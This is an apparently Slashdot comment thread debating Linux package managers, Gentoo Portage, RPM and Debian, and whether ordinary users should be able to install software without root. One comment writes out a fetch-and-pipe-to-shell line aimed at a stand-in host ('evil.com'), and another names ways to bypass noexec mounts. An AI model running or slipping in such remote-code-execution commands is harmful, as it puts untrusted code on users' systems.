It's not the stability of the code, and it's not that packaging Wine is hard (it's not). It's that the packagers are either clueless or deliberately ignore upstream policy in favour of distro policy. This can and will lead to obscure breakage (ie the software doesn't run correctly).

I have witnessed this sort of thing many times, with many different programs. I'm afraid it's a systematic problem.

Re:You're going to hate this but...

[Anonymous Coward]

It is, for better or worse, now the "correct" way to do installs on Windows

It's still all OPTIONAL. Program installers come as EXECUTABLES, which can do arbitrary things. The packages for a real package manager are not executables, they are simply packages. The most blatant symptom of this is de-installation. Instead of the OS knowing which files came from each package, it just has a list of uninstallers that software MIGHT have included, and which MIGHT properly remove the rest of it without breaking other things.

This is a critically important distinction. If your installer is an arbitrary program, it can do ANYTHING, and the OS or package-manager cannot manage it.

The fact that Microsoft has finally gotten around to pre-loading a library of commonly needed installer routines onto Windows will help out on download filesize, and LAN sysadmin guys, but not much else.

But to declare that Windows doesnt have a package management system is simply false.

Ok, it HAS a package system, in the same sense that any OS can have one added. But it doesn't USE it. Wake me up if that ever changes. Like Valve dumping Steam for HL3 might be a good start.

They call it Windows!

[Tumbleweed]

I've found a great solution to this problem!

No, you haven't.

Re:Why all the fuss?

[Anonymous Coward]

Yeah, the ease of installation of new packages is unbeatable! I just cruised a few websites, and all sorts of stuff was automatically installed.

what about ebuilds?

[Morganth]

I'm still compiling!!

Here's a coralized link to the screenshots, too:

no gentoo?

[Se7enLC]

deb...rpm...slack What? no Portage? what about my eBuilds?

Re:no gentoo?

[Kethinov]

Gentoo is a fading niche and a fad. Ubuntu is distro of the month now. And soon it too will fade.

People like to talk about how Linux is so fragmented, but in reality only Debian and Redhat actually matter (along with 100% compatible derivatives... Ubuntu, this is NOT you). If the two of them got together and agreed on a single fucking binary package format there'd be no more Linux binary inconsistency problems.

You'd be able to download your software from a repository or go to a website and download it like Windows exe installers. Best of both worlds. All that's stopping that from happening is the Redhat vs. Debian wars. Both sides of the development circle are heavily bigoted, believe their way is better, and refuse to work together.

If Redhat and Debian, the two most important distros, quit competing and started working together, Linux would be a lot more ubiquitous.

Re:no gentoo?

[chill]

Okay, I'll say it.

Source-based packages have no place in a large scale environment. They do not scale.

The little boxes that sit in most offices and cubes have no business with a compiler on them, nor are people interested (nor should they be) in wasting time compiling applications.

Most office workers have a JOB to do that doesn't involve compiling software. As a corporate sysadmin I sure as hell don't want to have to use an eBuild for updating something like KDE or ANYTHING for that matter.

Gentoo is wonderful to experiment on and for very small installations, but I'd roll my own package manager before I would ever consider a source-based one.

-Charles

Re:no gentoo?

[Anonymous Coward]

This is a good question, and it worries me. It might be this project is more about getting commercial and commercially backed distributions to agree on something, rather that making the best possible system based on what does exist. Time will tell, I suppose. I hope I'm wrong.

Re:no gentoo?

[Se7enLC]

Gentoo may be a Niche, but unless portage dissapears, I don't see why it would fade. It has some things that still don't exist in other distributions...

I was once a RedHat user but I got irritated with how I needed to reinstall every time I wanted to upgrade a major version (5.2 -> 6.2, 6.2 -> 7.3, etc).

When installing a package, I spent a LONG time on rpmfind.net looking for the right packages for software. Rpm did a great job of telling me what I was missing, but I'd still end up back at rpmfind looking for the next package, and the next....all manually.

I guess up2date is available now....but doesn't that require some kind of payment to redhat? I might be mistaken about that, but isn't that the equivalent of paying Microsoft to use WindowsUpdate?

If redhat/debian find a way to get the utility of gentoo, it will win over the gentoo users. Sure, everyone makes fun of the compiling of everything...but if there were a way for another distribution to accomplish the same feat with binary packages, I'd like to see it. I type "emerge packagename" and that's the end of it. In Redhat or Debian, I have to wait for a version to be released to RPM or DEB, and I have to pray that I'm running standard hardware and want to use the configuration they built it with.

So in hopes to not appear like the stereotyped gentoo user, here is what I'd hope to see in whatever the winning distro/package management setup:
- Up to date software, previous versions also available
- multiple configurations of packages (for packages that have important options)
- automatic dependency resolution
- mirrored distribution on free servers

Notice that I don't really care if it's compiled on the fly....if they want to make a binary package for every distribution/type of hardware/kernel version, that's fine with me, I'll install it.

Re:no gentoo?

[Se7enLC]

You do realize that emerge isn't only source-based, right? Granted, there aren't as many binary packages available, due to the fact that nobody wants to waste their time compiling, as you said. But there's nothing preventing a sysadmin from emerging a package onto one machine and then using that binary as the package to distribute to the rest of the machines. Emerge actually has a very good installation process - it will even diff the /etc files for you so you can preview/edit the changes. Last I remembered, redhat either overwrites your configs or doesn't install new ones.

Wait a minute, you are a sysadmin for linux machines and you don't install the compiler?? :-P Oh, I hated admins like you...

You're right, though - I don't think that gentoo is a fit for a corporate installation, but that's due mostly to the lack of driver support from companies (for some reason they think that once they make a redhat enterprise driver, that's all they need to do).

As for most office workers jobs not including compiling, their jobs also don't include windowsupdate, virus scanning, spyware scanning, etc, etc. Those all fall under the category of your job as the corporate sysadmin. But it's not like compiling is really any more work for a user anyway, they aren't the ones physically converting C code to machine language, they just run the command (or if you are running a tight ship, it will run automagically in the middle of the night).

Crap, I didn't mean to start a distribution war - oops

Re:no gentoo?

[Anonymous Coward]

Also, most offices have multiple of the same type of systems. build once, clone, done. problem, reclone. update, rebuild once, clone x times, still done.

Re:no gentoo?

[Kethinov]

Portage is overly complex. Customizing packages for a specific system is overrated. In the long run Debian has the best approach. Portage has too much added complexity. RPM is too poorly designed. If Redhat cut their losses and stopped suffering from not invented here syndrome for just five seconds to realize the Debian packaging format is better, there's be so much less disunity.

I mention Gentoo fading because if Linux were to become more unified via Redhat and Debian agreeing on a single binary packaging format, it would be at the expense of shunning niches like Gentoo.

Re:no gentoo?

[The_DOD_player]

Obviously you dont know a lot about gentoo. Portage has plenty support for binary packages.

Add the "build-pkg" option on the emerge command or in make.conf, and your compiled binary will be packed in a .tbz2 archive, ready for distribution on your others boxes.

You can even make a binary package of something already installed on your system. Perfect for quick rollback in case something goes wrong. Just type:

quickpgk mod_php

if your want to make a binary package of the currently installed mod_php. :) Doesnt get any better for a corporate sysadmin.

Hey, dont take my word for it, check out Gentoos documentation on the subject.

Re:no gentoo?

[chill]

Yes, I'm aware that emerge handles binary code as well. I believe that is how they handle OO.org and possibly Mozilla code. You're right in there isn't a lot of that available.

In the larger environs I worked, we had a 3-year rotation plan. All office computers during that purchase year were exactly the same: CPU, RAM, video card, etc. There were exceptions for things like CAD workstations and manufacturing terminals, but THOSE were the same as a group.

Thus we used imaging software (Ghost or scripted dd). There was a corporate image for each set of computers (6 or 7 in all). If something fubared too badly, reimage.

No, a compiler wasn't standard fare. If you knew what one was and wanted one, you were allowed to install it. You got ZERO support for it from Corporate IT, and if it fubared your system -- it was reimaged.

Windows Update, Virus and Spyware scanning were NEVER done by the users. Users forget or screw things up. It was much, much easier to simply schedule those things to happen automatically. Windows Update always came from OUR server and never directly from MS. Same goes for time synching (NTP), system backups, etc.

Heh, actually, saving data to a local hard drive was an offense that could be punishable by termination. The local drive was pretty much locked, except for temp data.

Does emerge have a central management station? Can I see what has been distributed to which machine, etc? It has been a while since I've played with Gentoo.

-Charles

Re:no gentoo?

[Sweetshark]

Portage is overly complex.
no. (same dogmatic statement)
Customizing packages for a specific system is overrated.
for you
In the long run Debian has the best approach.
for you
Portage has too much added complexity.
RPM is too poorly designed.
Hey! Some truth in this post!
If Redhat cut their losses and stopped suffering from not invented here syndrome for just five seconds to realize the Debian packaging format is better, there's be so much less disunity.
And if debianers cut their losses and stopped suffering from not invented here syndrome for just five seconds to realize that from portage ebuilds you could easily generate .debs and .rpms and whatever other binary package available, there's be so much less disunity. But as you just demonstrated this aint gonna happen.

Thats life.

PS.: gentoo wasnt thought to be a distro like debian and RH. It was made so people could roll out their own distro based on source (buzzword: metadistro). If someone uses gentoo to make a distro just for himself and compiles everything himself, he should know what hes up to. In the end you cant compare gentoo and debian - they are different tools for different jobs.

Re:no gentoo?

[Se7enLC]

> No, a compiler wasn't standard fare. If you knew > what one was and wanted one, you were allowed to > install it. You got ZERO support for it from > Corporate IT, and if it fubared your system -- > it was reimaged. Ouch! I'm a big fan of linux and all, but I don't really know what it's good for without a compiler...is it really used as a desktop OS? I thought that was always a pipedream for the future and only a reality for the real geeky environments. I'd hate it if my linux machine were my only PC at work....openoffice is really terrible compared to M$ :-P > Windows Update, Virus and Spyware scanning were > NEVER done by the users. ... yeah, that's what I was implying :-P And likewise compiling or other software updates would never be the user's responsibility or hinderance. > Does emerge have a central management station? > Can I see what has been distributed to which > machine, etc? It has been a while since I've > played with Gentoo. Hmm, that one I'm not sure about. I'm sure such a facility *could* exist... but since not many people use gentoo in the corporate, I can't imagine much work goes into it. If nothing else, I know webmin has that ability - you can manage multiple servers from one web interface, which includes package management and works with gentoo. Probably not as pretty and gui as redhat's tho...

Re:no gentoo?

[Se7enLC]

Ok, lemme try that *with* previewing this time...silly html formatting...

> No, a compiler wasn't standard fare. If you knew
> what one was and wanted one, you were allowed to
> install it. You got ZERO support for it from
> Corporate IT, and if it fubared your system --
> it was reimaged.

Ouch! I'm a big fan of linux and all, but I don't really know what it's good for without a compiler...is it really used as a desktop OS? I thought that was always a pipedream for the future and only a reality for the real geeky environments. I'd hate it if my linux machine were my only PC at work....openoffice is really terrible compared to M$ :-P

> Windows Update, Virus and Spyware scanning were
> NEVER done by the users. ...

yeah, that's what I was implying :-P And likewise compiling or other software updates would never be the user's responsibility or hinderance.

> Does emerge have a central management station?
> Can I see what has been distributed to which
> machine, etc? It has been a while since I've
> played with Gentoo.

Hmm, that one I'm not sure about. I'm sure such a facility *could* exist... but since not many people use gentoo in the corporate, I can't imagine much work goes into it. If nothing else, I know webmin has that ability - you can manage multiple servers from one web interface, which includes package management and works with gentoo. Probably not as pretty and gui as redhat's tho...

Re:no gentoo?

[eviltypeguy]

ebuilds are scripts, not packages. Next.

Re:no gentoo?

[EzInKy]

Customizing packages for a specific system is overrated

So much for open source then, eh? Or in your mind do you see the free software world has a monolithic heirarchy where developers always know what is best for users? You are in a nutshell saying "so what if some people don't want package X when they install Y, others do, so they all get it like it or not."

Re:no gentoo?

[T-Ranger]

Ouch! I'm a big fan of linux and all, but I don't really know what it's good for without a compiler...is it really used as a desktop OS? I thought that was always a pipedream for the future and only a reality for the real geeky environments. I'd hate it if my linux machine were my only PC at work....openoffice is really terrible compared to M$ :-P

Your serious? What does a DNS server need with a compiler? What does a mail server need with a compiler? What does a web server need with a compiler? What does anything except a developement system need with a compiler?

Hmm, that one I'm not sure about. I'm sure such a facility *could* exist...

Well, ya. And someone could geneticly engineer sea otters to be Linux administrators who do everyones package management for urchins too. But thats not likely to happen. Thats not even reasonable to even think about trying to make happen.

Re:no gentoo?

[Se7enLC]

When you learn the difference between your and you're you can lecture me on what a PC needs.....

Nothing needs a compiler while it's running....but how do you propose to recompile the kernel without a compiler? (for example, to protect against the recently-discovered security holes in samba). I suppose it's possible to compile a kernel on a different machine....but that's sillier than your sea otter.

PS - by "could exist", I meant that it wouldn't be very difficult - all the information is there, all it would need is an interface.

Re:no gentoo?

[T-Ranger]

Why is your DNS server running samba? The very fact that it is running samba is a security problem, patched or unpatched. But you miss the whole point of this discussion about PACKAGE MANAGERS. "make" is not a package management system. Perhaps the most important feature of a package management system is that you no longer need a compiler. It is more then likely that the kernel you are running, installed from a package management system, was configured, tweeked, by people far smarter then you. But if you are replacing a kernel you did build your self, then again, you are missing the whole point.

Re:no gentoo?

[Se7enLC]

Who said DNS sever? I said *A* sever running samba. Perhaps a samba server? wow. In any case, it was an example - any package can have security flaws (and since you like to use DNS as your example, I believe BIND had a few flaws in its time requiring upgrades).

And no, kernels installed from package management are simply built to the least common denominator - and they build *every* module, on the offchance that you will need to load it, since you won't have the ability to add anything later (since you don't need a compiler, as you decided).... So unless you have the exact same hardware everywhere and have one of those "people far smarter than you" on hand to build your kernels for you, you're out of luck in that department.

I'm not saying it's not possible to run a system with no compiler on it - I'm saying that it makes much more sense to just put the compiler on it - it's not like disk space is a real issue anymore.

"If you are replacing a kernel you did build your self, then again, you are missing the whole point."

I don't understand what you mean by that. What is the point that I am supposedly missing?

Re:no gentoo?

[IncohereD]

I'd like to see it. I type "emerge packagename" and that's the end of it. In Redhat or Debian, I have to wait for a version to be released to RPM or DEB, and I have to pray that I'm running standard hardware and want to use the configuration they built it with.

In Mandrake I had "urpmi packagename", and that was the end of it. Even if the dependencies were across multiple sources.

Don't get me wrong, I just switched to Gentoo and like some of the portage features, but there's things it doesn't do as well. I had to install an extra tool to deal with multiple sources, and they gave to be synced with this extra tool. You also need extra tools (AFAIK) to show what packages will be broken when you unmerge a package. I don't think it would be that crazy to make you put in "--nodeps" if you're unmerging and know what you're doing, I _liked_ that I could try uninstalling different stuff in Mandrake, and it would tell me why it needed to be there. And if I didn't want any of it, I could just tell it to uninstall all of it.

Yes, most of that is possible in gentoo, but not as nice. I did, however, manage to manually patch an error out of gconf using a code snippet from bugs.gnome.org, by doing a step-by-step ebuild/emerge thing. That was quite nice, as otherwise Gnome was opening in an unusable state.

This is good

[skids]

Projects like this create a top-down pressure for packaging formats to standardize, adopt each other's features, and work on new features collaboratively. By having an developer community abstracting package formats and procedures, the package system authors get a comparative peer review, rather than just user feedback. This highlights the benefits and shortcomings of each packaging system in a much more impartial manner than any magazine review or forum discussion.

The GUI part of it really doesn't appeal to me. Lots of my machines are headless, and even with X11 I remote display don't particularly like the idea of installing umpteen X11 toolkits and support libraries on a router/fileserver/webserver just to support package management. It's good to see that they have commandline utilities as well.

Re:This is good

[Anonymous Coward]

If this project can provide me with a decent gui to dpkg, then I am all for it. I want someting better and more intuitive than dselect, aptitude and synaptic.

Frankly I don't need standardisation nor rpm's. The Debian archive gives me everything that I need, and if it ever failed I would prefer to use use http://packages.debian.org/unstable/admin/alien

Re:This is good

[Anonymous Coward]

This applies no pressure to those systems that already work (Debian). Debian et al were already applying pressure to those that work poorly. What is this for again? I see no incentive for good, comprehensive distributions to open themselves up to RPM-hell.

Wait and see

[brotherscrim]

If Fedora chooses to include it in the future, I'll give it a try. Until then, however, I think I'll stick to the evil I know (yum), rather than playing musical package managers.

Please don't make them require root access.

[Anonymous Coward]

The worst thing about package managers today is that ever UI pops up windows asking for the 'root' password. This is training lusers across the world that to install even the most trivial web browser, it's OK to type in root passwords whenever somethings pops them up.

Please, if someone's making a new package management system; give it the ability to run as a normal user and install in $HOME/bin, and give it the ability to run as a member of the group 'local' and install in /usr/local

Re:Please don't make them require root access.

[Anonymous Coward]

And one step further; please let them install multiple versions of a package on the same machine.

If I have one large application requiring version 1.4.8 of a package, and another requrigin 1.6.4 of a package; there should be a way to let me set up

/usr/local/oracleusers
and
/usr/local/db2users

and have whatever necessary packages are under each. Then users can select whatever environment they need through the PATH and LD_LIBRARY_PATH environment variables.

Re:Please don't make them require root access.

[five18pm]

Thanks for pointing it out. I get tired of typing in root password everytime I want to install something. Why isn't it okay to put it in /usr/local or /opt anyway?

Distros should give permissions for users to install in /usr/local, if they don't want users to pollute their home directories.

Re:Please don't make them require root access.

[Anonymous Coward]

whats wrong with /home/user/.programs (or something similar hidden from the user but still in their home folder.

I use /usr/local for programs I want my users to have but not modify. I dont want to use /usr because I only want software teh distro installs there.

Something like /home/user/local or something like that would be great.

Re:Please don't make them require root access.

[rainman_bc]

I know FreeBSD installs to /usr/local by default, and it requires root to install.

I like the $HOME/bin idea much better for end user software...

ALthough that opens up a bunch of other issues...

Re:Please don't make them require root access.

[Beatbyte]

yes because giving unpriveleged users the right to run whatever binaries they want is a good thing..

btw, you need to enter the root password to see this message without the sarcasm.

Re:Please don't make them require root access.

[cbiltcliffe]

especially when I have to type it in just to change the screen resolution!

Ok...what the heck distro are you using? I've got SuSE 9.1 on my computer at work, and I can change the resolution without the root password. I've got Debian testing/unstable on one of my computers at home, and I can change the resolution without the root password. I can do it on RH/Fedora, too, although I don't use either distro often. I haven't, in the last couple of years, seen any distro, KDE or Gnome, that didn't allow you to change the resolution without being root.
So....what the heck distro are you using?

Re:Please don't make them require root access.

[Anonymous Coward]

Seems like a unix group for /usr/local would fix most all the problems. Certain users could then be trusted. Others wouldn't

Re:Please don't make them require root access.

[IamTheRealMike]

They already can. Investigate passing paths to ELF binaries to /lib/ld-linux.so.2, and if you figure out how to disable that (have a cookie if you can, it is possible!) then investigate ul_exec, LD_PRELOAD and ELF constructor functions.

Basically if a user has shell access to a box they can run whatever code they like. Deal with it.

Re:Please don't make them require root access.

[runderwo]

You could always use grsecurity to disable running untrusted executables instead of trusting filesystem permissions to accomplish that.

Re:Please don't make them require root access.

[IamTheRealMike]

Investigate what I said to investigate. grsecurity does not stop users from running code, it's not a FS permissions issue. It's a design-of-the-system issue, and basically impossible to work around.

Re:Please don't make them require root access.

[Anonymous Coward]

Just because they can execute it doesn't mean it'd be useful to them. For example, running most package managers as a user won't do a whole lot of good, since their operations require root permissions.

Re:Please don't make them require root access.

[Minna Kirai]

They already can. Investigate passing paths to ELF binaries to /lib/ld-linux.so.2, and if you figure out how to disable that

You're correct, but you explanation is unnessecarily excessive. Why bother weirdly tricking other executables to load the code when one can simply save the file, "chmod +x", and run it?

Or are you suggesting an administrator might have somehow disabled that operation?

But if someone wants to forbid users from setting the executable bit, then chances are he doesn't want them to have a shell at all...

Re:Please don't make them require root access.

[cbiltcliffe]

There was no Mandrake 8.9.

There was 8.0, 8.1, 8.2, then they jumped right to 9.0. There was a 9.1 and 9.2, I think, then to 10, and 10.1 is out, now.

8.x is pretty old, though, but I know what you might be thinking of. You can change maximum screen resolution in the administrative control panel, but in both Gnome and KDE, there's a system tray applet that lets you change between any supported resolutions/colour depth, up to the maximum set in the control panel.
In recent versions of Gnome, it's in Applications->Desktop Preferences->Screen Resolution.
KDE on SuSE, it's in either the Utilities, or System menu...can't remember which. It may have showed up in KDE 3.1, which I don't think was included in Mandrake 8.x, so you might not have had it. Anything recent does, though.

Re:Please don't make them require root access.

[IamTheRealMike]

The grand-parent was suggesting that allowing people to install any software they liked into their home dir and run it was a bad idea. But it cannot be prevented, so it doesn't matter if it's a bad idea or not. That was my point.

Re:Please don't make them require root access.

[Minna Kirai]

it cannot be prevented, so it doesn't matter if it's a bad idea or not. That was my point.

And your examples were counterproductive towards illustrating that truth. Those tricks won't work if they can't write to a disk- and if they have disk write access, there are probably more straighforward ways to run a program file- like, oh, running a program file.

Such hacker tricks are useful for root-escalation or similar, but are totally unnessary to demonstrate that users can already install programs, and conceal the simplicity of "wget -dump evil.com/linux | sh". You make it seem harder than it almost always is.

Re:Please don't make them require root access.

[IamTheRealMike]

I posted that example because in the past people have said that their users could not install or run custom software as their home directory was mounted noexec. Obviously if there are no restrictions like that in place you can just run it, point being that even if they are in place you can still run it.

Re:Please don't make them require root access.

[IncohereD]

Yes, this is a known problem with linux systems, especially when I have to type it in just to change the screen resolution! come on!!

FWIW, I've seen these on Windows boxes as well. Every try developing in 640x480? *shudder*

I also like the computer labs on University campuses that all have horribly wrong clocks, but insist on locking the user out of changing the time. This seems to be getting better. It was especially bad when you were required to make newsgroup postings by a certain time, and your terminal had it wrong.

Portage

[kaleco]

I know a lot of people have issues with Gentoo's focus on having the user compile packages that they download using portage, but what would be wrong with simply developing Portage and increasing the availability of binary packages?

Re:Portage

[Alcemenes]

This thread from the gentoo-users mailing list provides several points of view regarding portage and binary packages.

Re:Portage

[wdconinc]

If you want portage for binary packages, than you have to give up the flexibility of USE flags, which is one of the reasons for which you would use portage. Example: for firefox you would need a binary package WITH gnome-support and one WITHOUT gnome-support, one with ssl and one without ssl... Take all combinations... bang! They would all have different dependencies!

Re:Portage

[jludwig]

This is actually part of Gentoo's current mission statement, from http://www.gentoo.org/main/en/philosophy.xml

It's important that our tools support binary packages, because binary packages are widely used and widely in demand in the Linux community. If our tools don't support binary packages, then we can't claim that our tools are designed to allow a user to do anything he or she might want to do.

And so on... Now in general, I can't say I'm a fan of this meta-package project. Forking and creating another tool is easy, bringing folks together is very difficult. We need some true leadership to start moving apt/yum/rpm/deb folks toward one package standard, one consistent filesystem layout and directory structure if the goal is cross-distribution compatability... adding another layer of abstraction is akin to treating symptoms and not causes, if one is convinced this package compatability issue is a problem

. Jeff

Re:Portage

[Balinares]

Let me rephrase your question:

What would be wrong with simply developing any specific package management system?

Portage is great, alright -- in particular, the possibility to pick your own choice of dependencies (like, ALSA but no OSS, SDL backend but no svgalib...) and have it respected all through the system, is the greatest thing since sliced bread.

And with binary packages, you lose that possibility. Unless you provide as many packages as there are possible choices. Good luck.

Besides, if you mix binary packages from different sources, you also get the problem of programs compiled against different specs/glibc version than the libs they end up linking to on your system. The good old third-party RPM recipe for crash.

It's an old problem, and there still isn't any clear solution in sight. Even in distros with the most painstakingly maintained package repository, like Debian, you'll generally need to recompile software to your own needs (support this or that DB backend that your company requires, add ACL support, etc...).

There are only two paths toward solving this class of issues, to my (non exhaustive -> grain of salt, please) knowledge:

1) Somehow provide an API, perhaps glibc-wise, that will allow to disable the relevant paths of code at runtime if the required library runtime is not available. Yeah, I know about dlopen. No, that's not workable. dlopen needs to be designed around. What we'd need would be something as easily managed as #define _HAVE_SDL, only at runtime. There is no way to ensure its adoption if you don't make it as efficient to use as possible.

2) Agree on a common set of libraries -- think DirectX, only system-wide, not just for games -- and have programs 1) depend on the required version of that LinuX set of libs, and 2) ship with what libs they need that aren't in it. The good thing is, if you define a given LinuX version as, simply, an empty package depending on a set of libraries with precise versions and compilation options, each distro can use its own package management to handle it. This is not without drawbacks, though. How do you handle security updates? (Ebuild-like revisions might work, admittedly...) And, just how BIG would any given LinuX-x.y be?

We may never see a smoothly working universal Linux dependency management system, I realize. Still, it's good that there are still possibilities to think of. Perhaps, someday...

Re:Portage

[IamTheRealMike]

What we'd need would be something as easily managed as #define _HAVE_SDL, only at runtime. There is no way to ensure its adoption if you don't make it as efficient to use as possible.

Ask and you shall receive

2) Agree on a common set of libraries -- think DirectX, only system-wide, not just for games

Ding ding ding! This man wins a prize, he has exactly nailed the problems in a way most people in this thread have not. It took me a long time to reach this level of insight into the issue. Go read the NOTES file to get some more ideas for such a Linux desktop platform. Nothing solid has been started yet, there are other tasks that need to be done first. But this is one of the most important ones.

That file also touches on the security updates problem, at least peripherally. The idea is to use the PAL to allow for generic upgrade scripts/plugins to be run. You'd have one for apt, one for autopackages, others for custom installers etc all abstracted by the PAL.

Re:Portage

[IO ERROR]

1) Somehow provide an API, perhaps glibc-wise, that will allow to disable the relevant paths of code at runtime if the required library runtime is not available. Yeah, I know about dlopen. No, that's not workable. dlopen needs to be designed around. What we'd need would be something as easily managed as #define _HAVE_SDL, only at runtime. There is no way to ensure its adoption if you don't make it as efficient to use as possible.

I think that if there were a good way to do this, Microsoft or someone would already have done it. But Windows apps basically do the equivalent of this.

Perhaps someone could write up a C library which makes the dlopen/dlfcn/etc. easier to manage?

Maybe I'm confused...

[Se7enLC]

Isn't the idea of a "Unified Package Management System" a way for multiple distributions to use the same installation source? Why on earth did they make a way for a single distribution to use MULTIPLE sources? that's not unified at all....if I wanted to install RPMs, DEBs, and TGZs on my system all at once, I'd have done it

Re:Maybe I'm confused...

[asr_br]

You're confused :-)

Unified menas you can use the same tool to manage packages from your distribution, no matter if it's RPM, DEB, TGZ or file based.

So in the end you can stop using rpm or dpkg and start using smart.

Re:Maybe I'm confused...

[Se7enLC]

I guess the *package management interface* is unified....but nothing about the actual packages is unified at all and IMHO, it was the packages that needed the unifying, not the interface. Sure, now administrators can say "install apache on every PC here"...but they still have no way of making sure they all have the same version, configuration, etc, since all the packages are different for each dist.

Dependencies?

[praetis]

Can you say "Gentoo"? I almost don't even care what a dependency is anymore.

Re:Dependencies?

[Simon Lyngshede]

Neither does Debian nor Fedora users. Gentoo doesn't solve any dependency problems that either Red Hat or Debians package systems hadn't already solved. I know of many who didn't know how to use these tools correctly, but they still solved the problem.

The point is that not all software is available to all distros as precompiled packages. What Connectiva is doing is saying that if we agree on where the files go, no point in not being able to install rpm files on Debian system and the other way around.

Re:Dependencies?

[Dan667]

When you use the Gentoo emerge command to get a package, it first sorts out all the dependencies and downloads and compiles each dependency from source. After that, it downloads the source of the program you "emerged" and compiles it on your computer. Unless you specify it, most of the time it is not a pre-compiled binary and is a very clean solution.

Re:Dependencies?

[wibskey]

I think the idea here is to try to attract more novice and intermediate users to Linux.

I use Gentoo and I really like Portage, but the Gentoo install is overly complicated. While it's a great learning experience to mount the disks, create the file systems, etc., a lot of this could be automated to make the install a little easier and convenient. Compiling from scratch is great, but that's no reason not to have at least a basic install GUI/script to take care of some of the more monotonous tasks.

But I digress, I think these projects have vastly different audiences.

Re:Dependencies?

[poohsuntzu]

The process Gentoo uses is almost identical to the way debian, fedora, freebsd, openbsd, and slapt-get work. They all sort out all the depedencies and download the required files/deps.

The ONLY difference is that they are precompiled binaries versus source. Which.. mind you, if you use i686 compiled binaries in the first place (ala dropline for slackware) then the actual speed/loading difference between your gentoo binary and my already compiled slackware binary are in the millaseconds.

That's right, millaseconds of a difference. Not worth even two days of wasting compiling time. Don't get me wrong, I'm not trying to bash Gentoo. But let's not try and pull a smoke and mirrors act to make people thing that gentoo was the inventor of a clean package system. Even the lead developers of Gentoo will speak of how they got the idea and base workings from the FreeBSD portage system.

Re:Dependencies?

[Anonymous Coward]

If you're not trying to bash Gentoo, why do you say "two days of wasting compiling time"? A quick stats check on my box shows the average time to emerge a package as being 12 minutes. Smoke and mirrors, my arse.

Re:Dependencies?

[poohsuntzu]

Because I was referring to the typical time it takes to get a gentoo machine off the ground from a stage 1 process. I know, because I've done it many times when I heavily enjoyed the gentoo community.

And I brought up the two days because we were talking about package management and wanted to show that the only difference between the dep handlers that gentoo got the idea from, and the actual emerge it self was source versus binary. And that even the benifit of source compiling rarley beat a precompiled binary (in this case example, i686) in speed and clockcycles.

Why is it that the ones who post Anonymously are the ones who typically don't have a clue regarding what the discussion is about, and thus things have to be explained on a simple and basic level for them?

Re:Dependencies?

[mattyrobinson69]

I used to run slackware, downloading and compiling from source manually. i didn't used to mind chasing dependancies that much.

I switched to gentoo and i dont think i'd beable to adminster slackware long term again without having suicidal tendancies.

I think the best bit is that i can do something like emerge k3b and it will emerge xorg, kde, qt, alsa, cdrtools etc, from a base system.

What i think is needed is a distro that is gentoo except for a graphical or ncurses based install thats as easy as installing mandrake or redhat (boot the cd, follow instructions, choose packages from a list, let it do its stuff)

Re:Why all the fuss?

[0racle]

What if I want to install Gimp in /opt/gimp instead of where ever the package maintainer decided to put it, how do I tell apt or rpm to change the location? All in all, its much easier to install software in Windows, especially if you'd like to have some control over your file system.

Please oh please make it true.

[haeger]

This is something that I've been hoping for. Developing for Linux, or rather distributing your program, is a bit of a pain. After a while You have a nice little program.tar.gz for people to use. Most of the time You'd want this to be handeled by a package manager so you create an RPM and a DEB. But wait, that's not enough. You'll need a RH8 rpm, a RH9 rpm, a RHES30 rpm, a MDK9 rpm and so forth and so forth, and this is just for the i386. The permutations are too many to concider. I find this quite annoying.

If someone has a solution to fix this then I'm all for it and would support it with all my heart.

The site is naturally slashdotted so I can't check any details. :-/

.haeger

Re:Please oh please make it true.

[Se7enLC]

What if.... There were a server out there, where you could just upload a tar.gz, and it would compile and find dependencies....add itself to the database of packages and create ALL the rpms, debs, ebuilds, etc for all distributions. All the distributions would only need to be told to connect to that server for the information and packages. Oh wait, I remember why that won't work - some dependencies are so screwy that people can't even make them work manually, so there's def. no way to make it autonomous. darn. thought I had a solution for you. oops.

Re:Please oh please make it true.

[Anonymous Coward]

What's wrong with a tarball?

Diversity != Confusion

[Anonymous Coward]

There is no issue with multiple package managers (PM). Each distribution provides a PM which serves it's distribution just fine.

I've tried all the major distributions, and all the major PMA's. Almost all open source software provides binary PM's for the major 3 formats. And for those few exceptions, you send a request to your distribution and they'll get one for you, if you can't compile or build a package yourself.

So, what's the problem here????

Linux == Diversity !-> Confusion

I think this is only an issue with recent Linux converts.

Re:Diversity != Confusion

[Slack3r78]

I spent several hours last night fighting with an IMAP server package on NLD (which is SuSe, and therefore RPM, based). In order to install the package, I first needed to install an authentication library, no big deal, I can build an RPM from source, right?

Well, here's the catch, some of the dependencies defined in the spec file distributed with the source looked for dependencies with RedHat names. I already had the freaking packages installed, but the package name registered in the RPM database was *ONE* character different, and the dependency check would fail as a result. So I got to spend time hacking away at spec files til the blasted thing finally gave in.

It's things like this that make me believe that the sooner we can move to a standardized base, the better off we'll be. Linux lags so far behind Windows, let alone OS X and its drag and drop installs, in this regard that it's not even funny.

Re:Diversity != Confusion

[Anonymous Coward]

You obviously don't work with support. I can't for the life of me understand the posts I've seen here.

"Just treat every dist as a different OS".

What? Are you guys really saying needing to learn huge sets of redundant commands on every different dist circumstances force you to face is a good thing? Then you don't know how complicated PM's are and how much time it takes for really getting to know them at a pro level. Or, as I said, you guys just don't care about using different distributions. Us support people do. So please don't advocate that, it's a Bad Thing, and this tool is a great attempt at fixing useless redundancy.

Re:Diversity != Confusion

[Anonymous Coward]

Couldn't you just do a --force-depends, or the equivalent?

Well...

[Pugflop]

FreeBSD ports works just fine for me :).

Re:Well...

[Nothinman]

Except that you need an external tool (portupgrade) to easily upgrade ports and it's way to easy to accidentally install 2 versions of the same package. It's not a bad system, but it's far from great.

Re:Well...

[rainman_bc]

Nope.

cvsup ports-supfile
make buildworld

But you're right... If you've upgraded to Apache2 and the dependency calls for 1.3, you've just entered hell...

Re:Well...

[Pugflop]

I don't care that it's external, it works very well (for me at least) and does its job. :) YMMV

Re:Well...

[Nothinman]

I thought buildworld only built the basic userland, not any ports. Why can't you just get into a port's directory and run 'make upgrade' or something, if you run 'make install' it yells and tells you to do a 'make deinstall' which causes you to remove all the things that depend on it as well.

Re:Well...

[rainman_bc]

Ooops - I use portupgrade anyway lol... Nice little script.... I'm surprised they haven't thrown it into the os yet...

Why can't we just pick ONE good way?

[mrchaotica]

...instead of trying to hack together all the different kinds of package management?

It seems to me that the way to fix this thing is to just pick one and then fix whatever shortcomings it has, instead of combining all the shortcomings of everything (except Portage, apparently).

Re:Why can't we just pick ONE good way?

[Anonymous Coward]

HA HA HA that's a good one.

